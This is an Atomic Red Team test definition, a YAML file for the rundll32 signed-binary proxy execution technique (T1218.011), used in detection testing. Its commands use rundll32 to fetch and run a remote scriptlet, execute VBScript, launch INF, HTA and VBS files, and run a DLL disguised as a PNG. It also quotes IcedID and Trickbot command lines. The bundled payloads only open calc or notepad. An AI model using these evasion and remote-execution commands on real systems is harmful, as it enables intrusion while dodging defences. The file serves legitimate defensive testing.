attack_technique: T1218.011
display_name: 'Signed Binary Proxy Execution: Rundll32'
atomic_tests:
- name: Rundll32 execute JavaScript Remote Payload With GetObject
  auto_generated_guid: cf3bdb9a-dd11-4b6c-b0d0-9e22b68a71be
  description: |
    Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.
  supported_platforms:
  - windows
  input_arguments:
    file_url:
      description: location of the payload
      type: Url
      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct
  executor:
    command: |
      rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();
    name: command_prompt
- name: Rundll32 execute VBscript command
  auto_generated_guid: 638730e7-7aed-43dc-bf8c-8117f805f5bb
  description: |
    Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
    Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
    Upon execution calc.exe will be launched
  supported_platforms:
  - windows
  input_arguments:
    command_to_execute:
      description: Command for rundll32.exe to execute
      type: String
      default: calc.exe
  executor:
    command: |
      rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
    name: command_prompt
- name: Rundll32 advpack.dll Execution
  auto_generated_guid: d91cae26-7fc1-457b-a854-34c8aad48c89
  description: |
    Test execution of a command using rundll32.exe with advpack.dll.
    Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
    Upon execution calc.exe will be launched
  supported_platforms:
  - windows
  input_arguments:
    inf_to_execute:
      description: Local location of inf file
      type: String
      default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Inf file must exist on disk at specified location (#{inf_to_execute})
    prereq_command: |
      if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
  executor:
    command: |
      rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,
    name: command_prompt
- name: Rundll32 ieadvpack.dll Execution
  auto_generated_guid: 5e46a58e-cbf6-45ef-a289-ed7754603df9
  description: |
    Test execution of a command using rundll32.exe with ieadvpack.dll.
    Upon execution calc.exe will be launched

    Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
  supported_platforms:
  - windows
  input_arguments:
    inf_to_execute:
      description: Local location of inf file
      type: String
      default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Inf file must exist on disk at specified location (#{inf_to_execute})
    prereq_command: |
      if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
  executor:
    command: |
      rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,
    name: command_prompt
- name: Rundll32 syssetup.dll Execution
  auto_generated_guid: 41fa324a-3946-401e-bbdd-d7991c628125
  description: |
    Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

    Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
  supported_platforms:
  - windows
  input_arguments:
    inf_to_execute:
      description: Local location of inf file
      type: String
      default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Inf file must exist on disk at specified location (#{inf_to_execute})
    prereq_command: |
      if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
  executor:
    command: |
      rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .\#{inf_to_execute}
    name: command_prompt
- name: Rundll32 setupapi.dll Execution
  auto_generated_guid: 71d771cd-d6b3-4f34-bc76-a63d47a10b19
  description: |
    Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

    Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
  supported_platforms:
  - windows
  input_arguments:
    inf_to_execute:
      description: Local location of inf file
      type: String
      default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Inf file must exist on disk at specified location (#{inf_to_execute})
    prereq_command: |
      if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
  executor:
    command: |
      rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\#{inf_to_execute}
    name: command_prompt
- name: Execution of HTA and VBS Files using Rundll32 and URL.dll
  auto_generated_guid: 22cfde89-befe-4e15-9753-47306b37a6e3
  description: |
    IcedID uses this TTP as follows:
      rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
    Trickbot uses this TTP as follows:
      rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs
    
    In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"
  supported_platforms:
  - windows
  executor:
    command: |
      rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta
      rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteullen.vbs
    name: command_prompt
- name: Launches an executable using Rundll32 and pcwutl.dll
  auto_generated_guid: 9f5d081a-ee5a-42f9-a04e-b7bdc487e676
  description: |
    Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.
  supported_platforms:
  - windows
  input_arguments:
    exe_to_launch:
      description: Path of the executable to launch
      type: Path
      default: '%windir%\System32\notepad.exe'
  executor:
    command: |
      rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
    name: command_prompt
- name: Execution of non-dll using rundll32.exe
  auto_generated_guid: ae3a8605-b26e-457c-b6b3-2702fd335bac
  description: |
    Rundll32.exe running non-dll 
  supported_platforms:
      - windows
  input_arguments:
    input_url:
      description: Url to download the DLL
      type: Url
      default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
    input_file:
      description: Non-dll file
      type: String
      default: C:\Users\$env:username\Downloads\calc.png
  dependency_executor_name: powershell 
  dependencies: 
  - description: |
      Non-dll file must exist on disk at specified location
    prereq_command: | 
      if (Test-Path #{input_file}) {exit 0} else {exit 1}
    get_prereq_command: | 
      Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
  executor:
    name: powershell
    command: | 
      rundll32.exe #{input_file}, StartW